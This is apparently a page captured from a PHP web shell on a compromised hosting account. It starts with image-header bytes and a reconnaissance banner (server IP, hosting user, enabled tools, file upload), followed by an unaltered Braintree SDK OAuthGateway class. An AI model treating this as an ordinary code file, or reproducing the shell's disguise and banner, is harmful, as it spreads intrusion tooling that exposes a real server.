����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 13.59.56.153 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./bofirmacademy.com/vendor/braintree/braintree_php/lib/Braintree/ |
Upload File : |
<?php namespace Braintree; /** * Braintree OAuthGateway module * Creates and manages Braintree Addresses * * @package Braintree */ class OAuthGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_http = new Http($gateway->config); $this->_http->useClientCredentials(); $this->_config->assertHasClientCredentials(); } public function createTokenFromCode($params) { $params['grantType'] = "authorization_code"; return $this->_createToken($params); } public function createTokenFromRefreshToken($params) { $params['grantType'] = "refresh_token"; return $this->_createToken($params); } public function revokeAccessToken($accessToken) { $params = ['token' => $accessToken]; $response = $this->_http->post('/oauth/revoke_access_token', $params); return $this->_verifyGatewayResponse($response); } private function _createToken($params) { $params = ['credentials' => $params]; $response = $this->_http->post('/oauth/access_tokens', $params); return $this->_verifyGatewayResponse($response); } private function _verifyGatewayResponse($response) { if (isset($response['credentials'])) { $result = new Result\Successful( OAuthCredentials::factory($response['credentials']) ); return $this->_mapSuccess($result); } else if (isset($response['result'])) { $result = new Result\Successful( OAuthResult::factory($response['result']) ); return $this->_mapAccessTokenRevokeSuccess($result); } else if (isset($response['apiErrorResponse'])) { $result = new Result\Error($response['apiErrorResponse']); return $this->_mapError($result); } else { throw new Exception\Unexpected( "Expected credentials or apiErrorResponse" ); } } public function _mapError($result) { $error = $result->errors->deepAll()[0]; if ($error->code == Error\Codes::OAUTH_INVALID_GRANT) { $result->error = 'invalid_grant'; } else if ($error->code == Error\Codes::OAUTH_INVALID_CREDENTIALS) { $result->error = 'invalid_credentials'; } else if ($error->code == Error\Codes::OAUTH_INVALID_SCOPE) { $result->error = 'invalid_scope'; } $result->errorDescription = explode(': ', $error->message)[1]; return $result; } public function _mapAccessTokenRevokeSuccess($result) { $result->revocationResult = $result->success; return $result; } public function _mapSuccess($result) { $credentials = $result->credentials; $result->accessToken = $credentials->accessToken; $result->refreshToken = $credentials->refreshToken; $result->tokenType = $credentials->tokenType; $result->expiresAt = $credentials->expiresAt; return $result; } public function connectUrl($params = []) { $query = Util::camelCaseToDelimiterArray($params, '_'); $query['client_id'] = $this->_config->getClientId(); $queryString = preg_replace('/\%5B\d+\%5D/', '%5B%5D', http_build_query($query)); return $this->_config->baseUrl() . '/oauth/connect?' . $queryString; } }